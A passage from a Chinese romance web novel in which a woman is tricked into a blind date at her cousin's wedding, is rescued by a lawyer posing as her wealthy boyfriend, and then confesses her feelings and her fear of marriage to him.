话痨男耳朵瞬红,压低声音凶她:“别看我!我这样吃叫优雅,你懂什么?” 邢葵表示不懂,拿起手机,认真地问:“需要我帮你查一下优雅的意思吗?” 话痨男害臊:“你敢查试试!我说优雅就优雅,在我的字典里这就叫优雅。” “她跟那男的在讲什么?那男的是她的谁?” 那厢,新郎赵鹏同事桌,一个秃头、一个矮子、三个胖子,五个人都盯着邢葵,眼里直勾勾的占有欲。 赵鹏敬完几桌酒走回来:“打听过了,说是邻居,两人应该没关系,怎么样?满意不?” “卧槽!不要太满意啊,那真是你老婆的堂姐?你老婆娘家深藏不露啊,这么漂亮,我还以为见着明星了。” “有个形容词怎么说来着,清纯玉女。” “还苗条,女人就得瘦才好看。”某个胖子男说道,扬扬堆积横肉的下巴,“但她头上的疤不要紧吧?用帽子挡住咱们都瞧不见。” “问过她妈妈了,说是就很短的一条,激次光就好。”赵鹏笑,他也是头一回见到邢葵,知道邢知乐家基因好,没想到有个这么突出的存货,当下都有点嫉妒同事,“怎么样?你们再看看想一想?哪个想去跟她相亲,我带哪个去见她。” “ 是真漂亮。”矮子男眼馋,“985毕业对吧?相貌和智商基因都好,但是,你不是说她二十九了吗?二十九这样还没嫁,是不是有隐疾啊?别坑我们啊。” “哪能呢,我问过我丈母娘了,就是眼高手低太挑。” “哈哈哈,女人可不能太挑了。”一群从外貌挑到身材再挑到智商再挑到生育能力的男人如是道。 被骗来相亲的邢葵被蒙在鼓里,只觉莫名起鸡皮疙瘩,下意识搓手臂,她的左边,话痨男再次鬼鬼祟祟吃了片牛肉,误解没改面向的邢葵还在看他,气恼地踢了踢她的鞋。 关忧他干什么,担心担心自己吧。 话痨男极小幅度地撇了下脸,对着新郎同事那桌,常被狗仔、私生骚扰的明星对窥探的视线极其敏感,有五个丑东西从邢葵一出现起就盯着她了。 第34章 “干嘛踢我?”邢葵搓胳膊的动作一停,皱下眉,望了身侧话痨男一眼。 话痨男收回看那五个丑东西的视线,看向邢葵,顿觉世界被洗涤了。 那五个丑东西自邢葵进场就锁定她,当是因为她的皮囊,她确实长相不错,鹅蛋脸、杏仁眼,整个人气质干净,像一辈子都没干过坏事。 像枝头不勾引也诱人采撷的桃……天杀的!她刚刚踩脏了他的桃花符! 话痨男捂住两耳:“别说话,我生你气。” 邢葵哽住,这人简直莫名其妙,话痨男戴着口罩,不敢吃气味重的东西,邢葵曾看到他的筷子在一块糖醋肉上徘徊,夹起又放下。 她一弯唇,夹起一块糖醋肉放嘴里。 想吃怕味道重的话痨男:“……”这人瞧着温温和和,居然还会报复! 邢葵沉浸式吃起糖醋肉,来之前她咨询过江玉鸣,能否放纵两顿不忌口,江玉鸣帮她挑出了得忌口的药物,叮嘱她今天可以正常吃,别吃得太辣就好。 糖醋肉是酸甜口,好吃,一块两块三块…… “葵葵胃口真好啊。”对面,新娘的父亲,邢葵的三堂叔邢耀祖笑眼眯眯,“我家知乐都不敢吃,婚纱贴身,她怕有小肚子。” “是啊是啊。”坐到他旁边的高红梅搭腔,“葵葵,知乐给你打样儿了啊,等你结婚那天可不能这么吃。” 真离谱,她就吃点东西怎么能到这个话题! 邢葵嚼糖醋肉的腮帮子僵了僵,继续嚼。早就知道今天这种场合逃不开被催婚,她早做好心理准备,镇定地不回应,就当听笑话。 “葵葵比知乐大几岁呢吧?”果不其然,话茬一开,左前方,大堂叔的老婆(并不)慈爱地望过来,“什么时候让我们吃喜酒啊?小的都走在你前头了,该抓抓紧了。” 邢葵埋头嚼肉,真好笑,世上没有按年岁大小结婚的道理,各人有各人的路。 “年纪不小咯。”右前方,四堂叔的老婆大声感叹,“都二十九了,还没男朋友,太挑了吧!” 更好笑了,服务员上来送菜,是一盘芹菜炒腰果,邢葵挑眉夹了一颗腰果,没吃,扔到垃圾盘里。 “太挑”,是指从优中择优,在好的和好的间拿着放大镜吹毛求疵,择选最好。不谈天生的五官,相亲市场随便拉十个男的,八个都像腰果一样腰腹肥圆,让她在一群连基本身材管理都做不好的人中挑选,太挑何从说起啊? “你家姑娘从小就心气高。”四堂叔的老婆看向邢母,“我还记得她上小学那会儿,老师问班上小孩儿长大想做什么,人家都答想当老师,就她说想挣一个亿,传出去把镇上人都笑死了,这下好了,二十九了,二十九万挣到了吗?” 二十九万怎么没挣到,她存款近七十万。 亲戚们说一句邢葵在心里怼一句,她是个柔软也坚强的人,垃圾歪理无法打倒她,要不是她母亲生活在他们的圈子里,她都能鼓起勇气公开怼。 不光怼这些老婆,更要怼她们背后的老公。 很神奇,催婚分明是男性长辈和女性长辈都饶有兴致的事,可除了最开始三堂叔开了个头,这张桌子上所有的男长辈都跟哑巴了似的。 单是这一点都让邢葵觉得结婚恐怖,女性站在前方张牙舞爪,男性躲在后面美美隐身。 要是把人催婚催到自杀了,哎哟,都是我老婆嘴碎,我都跟她说不要讲不要讲。 在这张桌子上,邢葵看不出分毫几位堂叔想劝老婆闭嘴的意思,他们默契地噤声,喝着白酒,咂着嘴,用还沾着上一道菜的筷子夹着菜,带笑的眼神时不时交汇。 那眼神,似在吐槽彼此老婆有多八婆。 也似在和他们的老婆一起,嘲笑女儿二十九岁还没结婚的邢老二一家丢人。 邢葵觉得,他们更丢人。 她冷静地吃着酒席上他们家交了一千块礼金换来的菜,任由妖魔鬼怪龇牙咧嘴,时不时冲他们笑笑,给他们加油鼓励,刺激他们无知无觉地继续自嗨。 高红梅说得口干舌燥,喝了一大口饮料,刚要接着说,瞥见邢葵身前几乎满杯的饮料,脸色骤变,一股恐惧感冲上头皮。 这死丫头是不是到现在一句话都没回过?是不是不把他们这些长辈放在眼里! 得想办法治治她,高红梅骤然放开声音:“今天正巧!我女婿那边来了挺多同事朋友,都单身,要不葵葵瞧瞧有没有合适的?” 邢母一愣,不是说会先试探下她女儿意见再? 刚上来一道甲鱼汤,邢葵正在夹甲鱼脚,夹断,两根筷子撞出声响,她盯着震颤的筷身停顿了好一会儿,转向邢母,说了迄今为止第一句话,只有一个字,也是一个称呼:“妈。” 邢母心虚地低下头,躲避她的视线。 邢葵明白了过来。 高红梅笑嘻嘻:“葵葵快看呐,就那,那,人家也看着咱们呢,都长得蛮帅。” 大堂婶笑呵呵:“呦,葵葵要是能嫁知乐老公同事太好了,两姐妹也好互相帮衬。” 四堂婶笑盈盈:“是不错啊,看那个,看咱们葵葵的眼睛都看直了!” 七嘴八舌,一道道声音好似气流往邢葵耳朵里撞,撞得耳窝嗡鸣。 原来是这样啊,特意跟她强调礼金一千,是要将她骗来相亲啊。邢葵有点失聪,沉寂数秒后,她夹起那只她夹断的甲鱼脚,放进邢母碗里。 “吃这个,妈,这个有营养。”她还能不了解她母亲?焦急解决女儿终身大事,耳根子又软,八成是被高红梅诱哄了。 高红梅背后的是邢耀祖,这位三堂叔,大概打的让她嫁到昆武照拂邢知乐的主意。 邢葵再次将筷子伸进甲鱼汤,冲这一桌亲戚笑:“什么呀,各位叔叔婶婶,知乐的婚宴我相什么亲,起码等吃完饭吧。” 邢母惊喜得亮起眼睛。 “什么!”啪!筷子拍上餐桌,冷不丁地,邢葵左侧的话痨男跃起身,毫无顾忌,直白指着远处那一桌丑男喊道,“你疯了,你真要跟那一桌异形相亲?!” 他还以为那一桌就是路人甲乙丙丁,结果竟然是要跟邢葵相亲的人,就他们那外表瞧上去也不配啊! 异形……邢葵都愣了愣,眼看话痨男的喊声将整个喜宴的宾客关注都揽过来,连忙挡住脸,去拽话痨男的桃粉色裙子,小声:“快坐下快坐下,你这样我没法儿收场的呀。” 她向各位叔婶点头道歉,叔婶虚伪,无论他们心里怎么想,不会当面批评外人,客套地回答“没事,没事”。 搞定他们,邢葵看向帮她说话的话痨男,怕他还要语出惊人,上前套住他耳朵:“没关系的,我能处理。” 你能处理什么啊!他算是看出来了,这一桌亲戚,没一个人站在邢葵这边。 话痨男气呼呼地瞪邢葵,套他耳朵说话,痒死了,他也要让她痒一痒。 他欺身上前,圈住她的左耳,咬牙切齿:“那几个真太丑了,我作为正义之士,坚决不同意!你膝盖不许软啊! 你看看那些人,坐着我都能看出身材五五分。 我知道,有的人怎么减肥都减不下来,但至少要注意下形象!肚子滚滚,内裤边还露在外面,多看一眼我都要去医院洗眼U&*%^$^%……” 这个人,话真的好多呀,放小说里作者都要分段。 邢葵端详话痨男,他的脸藏在纱巾墨镜口罩里,她瞧不见,穿着黑色亮片外套和桃粉色长裙…… “看我干嘛!我这是生活所迫、乔装打扮,不这么穿很快就会被我家里人抓到,我内裤又没露外面!身上也香喷喷的,你闻!” “我不闻。” “……”话痨男噎住,她怎么这样嘛,安安静静听他讲每一句话,最后无情表达拒绝,她现在心里应该很不好受,他香香的,闻闻她会开心一点的。 邢葵对他浅浅一笑:“但是谢谢你,放心,我膝盖不会软的。” 笑什么!话痨男耳朵发热,对他笑了,待会儿就不能对那五个丑东西笑哦!他才不要和那种货色一个待遇! 四十分钟后…… 中午的喜宴结束,客人们陆陆续续离去,新郎的五名同事你追我赶地走向邢葵这桌,来吃饭前,本说好他们谁看中谁过来,结果五个都看中了。 五个人,脸都不好看不提,一个秃,一个矮,一个胖,两个胖加矮。叔叔婶婶们喊着“帅哥”,乐呵呵给他们让位置。 他们理应听见了话痨男前面骂他们异形,但已经被安抚过了,一就位直接无视话痨男,眼神油腻地扫着邢葵,犹如扫量一件货品。 “听说你在京江市上班,做什么工作啊?” 邢葵看到某条露在外的内裤边,这种仪容都不得体的人居然还痴望讨个高分老婆,双手抓紧放在膝盖上的手机,细声敷衍:“就,文职。” “文员啊?”几人互瞧一眼,眉毛都有些嫌弃地下压,他们公司文员一个月才三千,京江市工资高,也不会高多少吧。 “不是文员。”邢母赶紧插话,“我姑娘刚毕业一个月就八千了,现在多少我也不知道。” “别着急啊春霞。”大堂婶按住邢母,“人家没嫌弃,女孩子挣多少钱干嘛。” “是是是。”秃头男应声,八千还说得过去,“指望老婆赚钱的男人是无能的男人,像我,年薪十四万,就希望老婆在家快快乐乐的。” 邢葵看向他的光明顶,他的薪资真不符合他的发量,她抓了抓手机,拿捏着分寸,轻轻地回:“可是……我年薪三十几万啊?” “什么?” “什么?” “什么?!” “我说……我如今一个月两万多,十四薪,年薪三十几万。”邢葵算了一下,低着头更加小声,“是你的两倍、多。” 围绕圆桌的十多人都呆在当场,比起女人,男人的反应更大:“春霞,藏得真深呐,我们葵葵这么有出息你都不说。” 邢母根本不知情,这会儿瞬觉脸上有光,腰背都挺直了,她的边上,一直沉默的邢葵父亲李正军笑眯眯张嘴:“我们也不知道啊,我们从不插手孩子的事,都是让她自己发展。” “优秀,真优秀。” “我就欣赏新时代的女性。”矮子男积极道,“既能照顾好家庭,又能不靠男人独立工作。” 好恶心的话,矮子男举起酒杯,想和邢葵碰杯,食指指甲呈现常年吸烟的黄。 邢葵双手抓着手机,十分恶心他,不给他面子,就当看不懂他要做什么,任由矮子男伸着他短短的手臂,单方面费力地去撞她的酒杯。 矮子男的发言也不止令邢葵一个不舒服,即使他那全然不算真心赞美女性,但某些人听不出来,甚至认为自身男性权威受到了挑战。 “薪水多少都不重要。”邢耀祖蓦地开口,“人要懂得知足常乐,我们家知乐能有今天幸福,就是多亏了我取的名字,知乐知乐,知足常乐,葵葵,你说对吧?” ——你说对吧?你工资比男人高有什么了不起的,终究是个女的,别太挑,别太贪,碰到个男的就嫁了吧。 邢葵望着他,三堂叔明确地点了她的名,要她回答,要她这个全场工资最高者屈服于他的权威。 很好,那就答吧。 邢葵在内心深呼吸,懵懵懂懂地看向邢耀祖:“真的吗?可是你爸给你取名耀祖哎,你爸要你荣耀祖先,你让小辈知足常乐……会不会……我不懂哎。” 话痨男:“噗。”会不会太窝囊了哈哈哈哈哈哈! 邢耀祖脸瞬间垮下,皮连着肉颤起来。他感觉邢葵似乎是在骂他废物!可她没有明说,还摆出一副懵懂求解的样子,他都不知道她是故意还是无心的! “好啦。”高红梅一拍邢耀祖,看似批评他,实则给他铺台阶,“葵葵相亲你插什么嘴啊,葵葵,你们接着聊呀,还有什么要问的?” 还有什么要问的?是她问别人,还是别人问她? 好像没人觉得邢葵有询问权,眼前五个丑男神情油腻,眼神环绕着她上下打量,用他们或短或肥的肢体书写着两个字:审判。 谁给他们的审判权力?不就比她多长了一条棍子吗? 邢葵安静着,从五个相亲男看到这张桌上其他人,邢老大夫妻、邢老三夫妻、邢老四夫妻、她的爸妈,每一对都如同在说:结婚很好,快来加入我们呀。 明明,这张桌上,四对夫妻,四个男的都出过轨。 刚才讲话最刻薄的四堂叔老婆,她的丈夫在外面包养小三好几年。 今天新娘的父亲邢耀祖嫖过娼。 一张饭桌,四段婚姻,都是一地鸡毛,腌臜事抖落出来,没脸的绝不会是仅仅在二十九岁未婚的邢葵。 甚至她都没到二十九,那是虚岁说法,她周岁才二十八。 要反驳催婚邢葵有无数句话,她能掀翻这张桌子,骂他们骂到爽,只是,事后又当如何呢?她能拍拍屁股一走了之,她的妈妈还活在亲戚的社交圈里。 邢葵掐着手机屏幕,她不是个能不顾母亲的人,否则也不会费心找人契约结婚。 相亲男继续活跃,这些人不会因为她的高工资退却,在他们眼里,她挣的钱等于日后他们的钱,美丽、聪明、有钱、有生育能力,合格的妻子。 “听说你二十九了,以前有没有谈过恋爱啊?” 看,他们还想了解是不是处。 掐手机的指节用力到泛白,邢葵孤身处在这场凌迟中,抿紧双唇,不想回答这个问题。 谁都看得出她的不情愿,但谁都没有叫停。 只有与她刚结识的话痨男在焦急,他真服了这五个丑东西,他们的字典里没有自卑吗?以他们的硬件软件,没一项比得过邢葵,哪来的脸那么自信? 邢葵怎么不回击他们啊,她不是说她能处理吗? 贴着膜的机屏很滑,是掐不住的,话痨男眼睁睁看着邢葵的指尖一次次滑下去再被她移回、再滑,一遍又一遍。 他好气!要不他站起来,摘掉口罩,谎称是她男朋友算了! 现在就站!话痨男手按上桌面。 “什么车?”胖子男看向窗外突然惊诧变脸,“卧槽。” 邢葵抬眼望去,一辆与众不同的深黑色汽车驶到酒店门口,她不懂车,认识周镜的奥迪也是因为亲戚中有人和他同款,但楼下这辆车,邢葵粗浅觉得跟会发光一样,一出现吸走周围全部光源。 “卧槽,帕加尼,有生之年我竟然能看到帕加尼,几千万啊,几千万啊!”她听见相亲男喊。 车门在邢葵的注视中打开,比车更夺取瞩目的男人走出,长身玉立,灰色风衣,温文尔雅,阖上车门,用瘦长的中指推了下金丝眼镜,走进酒店。 “卧槽,他是不是来嘉月吃饭的?有生之年我竟然能和帕加尼车主在同一家酒店吃饭!” 明白帕加尼价值的人都兴奋得脸颊胀红 ,不明白的也被科普,大家伙儿喊着一句句“有生之年”,仰慕神往,甚至想下楼近距离看看。 然而,帕加尼车主却在他们的楼层入口出现,新郎赵鹏皱皱眉,总感觉这人有点眼熟。 入口处,穿着灰色衣裳的男人平静扫视宴会,随即像捕捉到目标,迈开长腿向他们走来。 走到他们这一桌,在所有人惊愕、受宠若惊的眼神中,邢葵起身,环过帕加尼车主手臂:“介绍一下,我男朋友,周镜。” 第35章 现场大概沉寂了十秒,毫不夸张,邢葵看到她那些叔叔婶婶,眼睛齐齐睁得如牛眼,十秒钟一眨不眨。 然后,震惊声汹涌爆发—— “什么?!!!!!!” 当事人邢葵扬眉吐气,环着周镜手臂,怯生生又说了一遍:“就是,他是我男朋友呀,怎么了吗?” 当事人周镜十分镇定,心里的跳动却断了拍,藏在灰色风衣下瘦白有力的手臂绷出线条。 他喉结滚动,沉沉嗯了一声。 “什么?!!!!!” 亲戚们瞠目结舌,惊震到说不出其他话,他们一直在用言语打压邢葵,让她别太挑、别太贪,结果邢葵居然有位开几千万车的富豪男友!而且高富帅! 邢葵默默审视着这群脸疼的亲戚。 人是有嫉妒能力的动物,就像高红梅,是想给她介绍对象不假,但绝不愿意她嫁得比自家姑娘好,所以那五个人看似和她家女婿在同一家公司上班,其实综合条件低于赵鹏。 高红梅两眼瞪圆,大抵在想,希望这是一场梦,梦,都是梦。 人也会攀龙附凤抱粗腿,亲戚A过得好,亲戚B未必开心;亲戚A过得特别好,亲戚B也要咧嘴角,扒族谱找关系,逢年过节屁大点事儿都要守着时间打电话说恭喜。 大堂叔、大堂婶、三堂叔……一个个,怕是在想怎么和周镜要电话。 “哟,葵葵早就有对象也不带回来给我们看看。”大堂叔乐呵呵。 “是啊是啊。”四堂叔掏起口袋,拿出一包烟,要给周镜递。 “欸!用我的,我软中,比你那个好。”三堂叔抢先。 奇了,催婚那会儿男性长辈们半天说不出一句,像个死人,这下一个个叫人震撼地复活。 “他不吸烟,他说有烟瘾的不是好东西。”邢葵脆生生替周镜拒绝,目不斜视,但先前吸烟吸到指甲发黄的矮子男总觉得在骂他。 他不爽地张口,露出一口发黑牙龈萎缩的牙:“有男朋友相什么亲,拿我们当猴儿耍?” 周镜有钱,让矮子男仰慕,但是,有的男人总觉得自身和富豪的差距只有“富豪”两个字,不在同一档次也迷之自信敢叫嚣。 “我没答应相亲呀,是你们一直在问问题,我都没说上几句。” 邢葵快压到周镜身上,缠着他温暖的手臂,汲取站立的热度。 “都是你们在问,从薪水问到我有没有谈过恋爱,都是你们在问,我没问过一个问题,相亲不是互相相看吗?既然不是互相怎么能叫相亲?” 她问得人哑口无言。 相亲不是互相相看吗?只有男人单方面相她,叫个鬼的相亲! 邢葵身边,周镜冷静观察着,每个人的外貌、神情、位置穿过镜片投进他的眼底,再与言语结合,很快得出情况。 婚宴,鸿门宴,相亲宴,他们竟然敢利用婚宴将邢葵骗过来相亲,还是和几个劣质品。 怎么敢的,邢葵如此好的人,他追都要和别人抢。 邢葵当应愤怒,哪怕失控大骂都不过分,可她并没有这样表现。 是因为她的母亲在场。 所以她才在几十分钟前给周镜发消息。 小葵花fighting:【周律师,有件急事,你能去借辆豪车吗?要一眼看就知道贵的那种,麻烦你开车到这个地址来救我(定位)】 纯粹发泄情绪大骂只能带来一时爽快,邢葵不会意气用事,但也绝不会容忍欺辱,她想到了更好的办法:搬出一个足够优秀的男朋友。 这样,她才能在不伤害母亲的前提下道出心声。 邢葵紧紧贴着周镜,在他没来前,她一个人在炮火下坚韧强撑,在他到来后,她小心翼翼地释放她的炮火,一炮打一个。 她的脸蛋苍白漂亮,写满可怜兮兮,杏仁般的眸里晶莹闪烁,唯恐说错话使得亲戚迁怒邢母,每吐出一个驳斥的字眼都要衡量分寸。 温热的手掌搭上邢葵青筋纵横的腕,她愣了一下,仰面看向周律师。 周镜面容沉静,和她接过二十九次吻、她了解亲起来有多舒服的唇张开,轻和地说:“男朋友在这里。” 男朋友在这里。 所以大胆地说你想说。 所以别怕。 邢葵愕然睁着杏眼,一滴泪旋过眼眶滚落,周镜伸出指腹,替她擦掉。 她翘起两边嘴角,仿佛被充了能,无声冲周镜笑,扭过头:“我男朋友都来了,闹剧可以结束了吧。” “可以,当然可以。”七大姑八大姨挤上来套近乎,将那五个年薪十万左右、脸臭臭的相亲男排除在外。 深黑色的帕加尼旁边,走出酒店的邢葵远望了眼身后,疑惑地歪歪头,奇怪,那个奇装异服的话痨男突然就消失了。 “葵葵,怎么了?”周镜低下头,轻声询问。 “没事,辛苦你送我们去我妹新房。”婚宴酒席分两顿,中午吃完一顿晚上还有一顿,下午一般会去新郎新娘家里喝茶聊天。 邢葵本不打算去的,但好多人都想坐一坐帕加尼,她踮起脚尖,周镜配合地低头,让她套住耳朵:“我让你去借一辆豪车,你怎么借一辆这么贵的呀,不像厉乘川的车,是租的吗?多少钱,我转你。” 周镜轻弯唇角,换他来套邢葵耳朵:“是借的,不用钱。” “哎哎,你看他们,在那边讲什么,邢葵是不是看了车子,车别不是租借的吧!” 赵鹏车内,邢知乐坐副驾驶,她的爸妈邢耀祖和高红梅坐后排,看到远处邢葵周镜在车边套耳朵,高红梅拍拍邢耀祖。 “妈。”邢知乐转头,“你别疑神疑鬼的。” “你这孩子,妈都是为了你好,老二家的姑娘从小就压你一头,现在连找男朋友也要压你一头,妈怕你以后头抬不起来。” 邢知乐撇回头,因为被比较有点恼了:“姐没那么想吧,而且总是说我不如姐的不就是你们吗?我也有我的长处好吧。” “你有什么长处?” “我,我会推拿啊,姐会吗?姐不会。” “哎呦喂,你别把我牙笑掉了,就你那点从技校学的东西别说出来丢人现眼。”高红梅伸出粗糙的手,“你姐姐,大学考了个985,在学校学了双学位,除了英语还会西班牙语,要不是当年春霞不准她读研,她早保送了。” 邢知乐听着:“你知道姐有多优秀啊,怎么在姐面前就老是贬低她。” 高红梅冷笑:“再优秀也不是我女儿,我不压压她她岂不是尾巴要翘天上去,邢耀祖,你说对吧?” 邢耀祖在酒桌上喝了几两白酒,黄棕色的脸颊充着红:“对,你妈说得有道理,这个邢葵,你别看她被说两句就泪水汪汪,脑子精得很,闷声不吭搬出个有钱男朋友,还真不一定真的,红梅,到家你探探他们。” 高红梅立刻问:“为嘛是我探?” 邢耀祖立刻答:“你们女人的事我怎么好插手!” “死装。”高红梅翻了个大大的白眼。 婚房客厅的大吊灯白光晃眼,整个婚房一百一十平,三室一厅。邢葵不想和亲戚走在一起,但几位婶婶总是围着她和周镜,想打听周镜的职业。 “就,也是文职啦。” “文职是什么文职呢?葵葵,你是不是觉得婶婶们文化低,听不懂啊?” “哪能呐,婶婶们。”邢葵笑,“我是怕你们觉得他那个工作能买得起几千万的豪车,逼家里弟弟妹妹也去学,任何一行都有做到顶尖的人和大量垫底的人,你们能理解吧?” 婶婶 们拉下脸,全是些死要面子的人,才说自个儿虽然文化低但听得懂,这会儿能说不理解嘛,丢不起这人。 几人彼此看看,不远处,看似没加入打听的堂叔们吸着香烟,斜眼关注着这里,给各自妻子递眼神。 毫无前兆出现的男朋友是真有钱还是假有钱,大家都想确认,既然他们撬不开邢葵的嘴,那就让她妈来撬。 高红梅搀过邢母手臂,一派姐妹情深样儿:“葵葵,瞧你说的,我们怎么会逼孩子,不跟我们说也行啊,周镜的职业,连你妈都没资格知道吗?” 邢母期待地看向邢葵。 邢葵嘴角抽动,手抓住牛仔裤,没完了他们,就知道拿她妈当枪使! 熟悉的手掌覆上她的手背,周镜站在她身边,平淡开口:“律师。” 那厢,邢知乐和她老公赵鹏从卧室走出来:“我妈又在干什么啊?说了让她别问别问。” 赵鹏额头夹着困惑:“说起来,我总觉得周镜有点眼熟。” “律师?”听到周镜说明职业,高红梅幸灾乐祸的心思跃出表外,“律师不能挣到几千万吧,葵葵,车是租来的就直说,都是一家人,我们又不会笑你。” 四婶捂嘴笑:“撒谎也不打打草稿。” 邢葵在脑子里打草稿,抓着她手的五指轻轻收了收,她看向周镜,周镜从容不迫:“谁说律师挣不到?葵葵方才说过,任何行业都有做到顶尖的人,我正是登峰者。” 他说,他正是登峰者。 邢葵怔愕一瞬,反握紧周镜的手,她见识过周镜开的奥迪和他住的老小区,可能他在为她撒谎撑场子吧,但是没关系。 她将目光投向眼前一群妖魔鬼怪:叔婶正因为揭露了别人的谎言兴奋,浑然不记得他们各自家中隐藏了多少腌臜。 裸/聊的大堂叔邢光宗,嫖/娼的三堂叔邢耀祖,包/养小三的四堂叔邢国栋。 光宗耀祖、国家栋梁。 三个人做的事发到网上都要加斜杠防屏蔽,跟他们比,她扯个谎哪谈得上劣迹,邢葵失笑,呼应起周镜的话,大胆给他补充细节。 “是啊,叔叔婶婶,你们不知道律师能拿提成的吗?前段时间我男朋友还接过一个案子,一个亿费用,他提成百分之三十,买辆几千万的车洒洒水啦。” 邢葵放肆胡编,越编越顺嘴,“何止几千万,有时候他一个案子能拿上亿,律所是他爸开的,全球连锁,他每年不工作都能收好多钱。” 周镜配合地嗯了声,默认所有,只否认其中一句:“律所和我家人无关,我是合伙人。” 邢葵佩服地望了望他,比她还能编:“啊啊,那是我搞错了,我还以为他是富二代,原来是富一代。” “也是富……”周镜沉吟一下,“抱歉,我没算过我是富几代。” 妈妈!他真厉害,一本正经的样子她都要信了! 邢葵扬起嘴角,绽开今日最甜的笑容,单纯怼妖魔鬼怪怼得很开心,即便是靠信口开河,会有被戳穿的一刻,到那刻再说吧。 “葵葵。”叔叔婶婶们的脸全都成了黑炭,邢葵说得如此轻快,说得如此不合常理,他们信才怪,“你就是这么对待长辈吗?春霞、正军,你俩怎么教的孩子?” “查到了!”沙发边的赵鹏忽然捧着手机叫起来,分出一只手指向周镜,“他他他——” 去年,赵鹏就职的物流公司卷进一场国际诈骗案,名誉朝夕坠入谷底,董事长为拯救公司,花了上亿律师费请来了律师圈的top。 周镜驾临公司的那天,赵鹏甚至没资格被安排进迎宾队伍,只能远远瞄上一眼,犹记得,在公司雷厉风行的董事长对他点头哈腰。 赵鹏刚搜索了周镜姓名,进入百科页面后吓得结巴,邢耀祖看不下去,不耐烦地取过他的手机,然后也呆住了:“他他他——” “什么他他他,我来看!”高红梅抢过手机,看了一眼,如遭雷击,“他他他——” 律师界的顶层,爷爷是大法官,妈妈是常出现在新闻中的人物,据网络猜测,个人年收入超十亿。 这群亲戚们都什么表情啊?邢葵不明就里,直觉是好的,以防万一,挪脚贴近周镜:“看到那边门没,要是坏事,你抱着我跑啊。” 周镜微不可见地勾了下嘴角,摸了摸她的头。 “哎呀!葵葵!你男朋友是这种身份不早说!” “您请坐。” “哎哟我这,大误会,您坐您坐。” “春霞啊,好福气啊。” 亲戚们动起来,搬凳子的搬凳子,倒茶的倒茶,全都换上谄媚表情,邢葵懵懵拿过他们刚才传的手机……啊? 窗台边,摆脱包围圈的周镜看了眼还在圈中的邢葵,接起电话,一道轻慢犹如说话者是游戏人间浪荡子的声音从扬声器传出。 “怎么样?我借你的车,救到辛德瑞拉了吗?” 辉德医院,江玉鸣往花瓶里插了朵红色玫瑰,长白指尖抚弄花瓣,眉眼迷人多情,室内弥漫消毒水气味,他却像玫瑰味的香水。 “周律师。”邢葵走过来,止住周镜对江玉鸣的回答。 客厅里亲戚摩肩接踵,邢葵周镜各自找借口离去,邢葵父母还在,人们环绕着他俩溜须拍马,吐烟喝茶,欢笑连连。 邢葵靠上窗户,安静几秒,开口,“我爷爷那辈有四个兄弟,四个兄弟又分别生养孩子,孩子们又娶妻、嫁人、招婿…… 我奶奶那辈也有六个兄弟姐妹,李正军的妈妈也有四个姐妹……我不清楚我究竟有多少亲戚,你今天见到的只是一部分,还有许多我都叫不出名字。” 她用平静的口吻诉说着,“我虚岁二十九,实岁二十八,从大学毕业起,每次见亲戚们都好比上刑场。 我妈邢春霞,毋庸置疑她很爱我,儿时也常常教育我,‘女孩子不比男孩子差’、‘男孩子能学的你也能学’,可她毕竟活在他们的圈子里,人在圈子里听一句话一百遍一千遍一万遍会被同化。 大学那会儿我能保研,可她听信亲戚们昏话,认为女生学历太高不好嫁人,吵吵闹闹逼我放弃。 这些年,我饱受催婚折磨,明年我虚岁就迈入三十,我能想象到明年我坐在酒席上会是怎样遭遇。 于是,我生出一个你听着可能会觉得荒诞的想法:我想找人假结婚。” 邢葵偏头看着周镜,“我追你,是想找你假结婚,然而你却非要强迫我见你的心,你想要的是真结婚。” 她重新看向客厅,“我不想要真结婚,你看他们,客厅里这几个男人,一个裸/聊被骗几十万,一个包/养小三好几年,一个总爱去镇上浴室洗澡,警察查封那里全镇女性才知,那是一个卖/淫窝点。 还有李正军,我不喊他爸,因为很多年前的一个下午,我妈让我看一位阿姨的照片,问她和她谁更漂亮。 周律师,你对我很好,可他们每一个也曾经信誓旦旦地说会一辈子爱老婆,我没办法因为你此刻的好就生出和你迈进婚姻的冲动。 这便是我抗拒你追求的原因。” 她站直,“今天我又被催婚了,比过往任何一回都恶心,我被骗来相亲,一对五,选择权当在‘一’的手上,可没一个家人认为我该有选择权。 他们问我薪水,问我是不是处,没一个家人认为这些问题我也能问,我被当成货物,放在展柜里,柜子用单向玻璃制作,只有他们能看我,我不能看他们。 可能这话有点烂俗,但我当时的世界真的一片黑暗,然后我看到一辆会发光的车停在楼下,它让所有人中止了对我的审判,我想,不管下来的是谁,我都会心动。” 邢葵认认真真地盯着周镜,“周律师,我依然没有想真结婚,但我想抓住当下的你,可能一年、一个月乃至只有一天,我喜欢你,你愿意做我男朋友吗?” 窗台上,周镜怔然。 辉 德医院,江玉鸣捏烂了玫瑰花。 第36章 回顾今天经历,邢葵满心欢喜地出门,赶赴婚宴见母亲,却被骗进一场她毫无选择权的相亲。她出身寻常,拼命走向罗马,到头来,却因为胯-下没有那一根,要被一群或许又短又细的男人挑选。 周镜想要闯进她的世界,这就是她的世界,邢葵向周镜剖开内心,和他表了白。 没等他回答,她局促地摸摸戴鸭舌帽的头,耳尖泛粉:“我知道啦,你谈恋爱是会奔着结婚去的,可我畏惧结婚,你能允我和你谈一场不瞻前的恋爱吗?当然我不是看中你的钱啊。”邢葵紧张摆手。 “我明白。”周镜轻声。 他已经听邢葵说了这么多,岂能不懂呢,邢葵深陷催婚深渊,无数双手掐住她的喉咙不允许她喘息,她在他到来的那一刻喜欢上他,是因为她见到了能让她喘息的药。 邢葵表白,是在自救,她想咬住他这味药,尝尝温暖心灵的甜蜜,也许药会在一天内失效,也许药会在积年累月中变质,但当下能尝一刻是一刻。 她很真诚,连“当时开车来的人不管是谁她都会心动”都直白讲了,不知道此时此刻通过手机听到全部的江玉鸣怎么想。 毕竟平常出门开一辆平平无奇小破车的江玉鸣,才是帕加尼的真车主。 时间倒回到周镜收到邢葵求助信的时候。 周镜绝对买得起千万甚至过亿级别的车,但他是真节俭,名下只有一辆奥迪,临时去提新车来不及。 厉乘川有,可他最近不住他真正的家,厉总又无需车价彰显身价,平日出行就用几百万的宾利,周镜找去他真家中取也费时间。 兄弟之中,有一位家中全是顶级豪车,且家离得近。 周镜开奥迪是真简朴,而某些人开破破烂烂二手小汽车是纯作秀。 那时正值午饭期间,周镜打电话给江玉鸣,他刚结束上午的问诊,听到周镜要借车,长长的食指叩着桌面,懒洋洋地笑:“我不是会发慈悲的菩萨。” 周镜领会:“那晚躲衣柜的是你。” 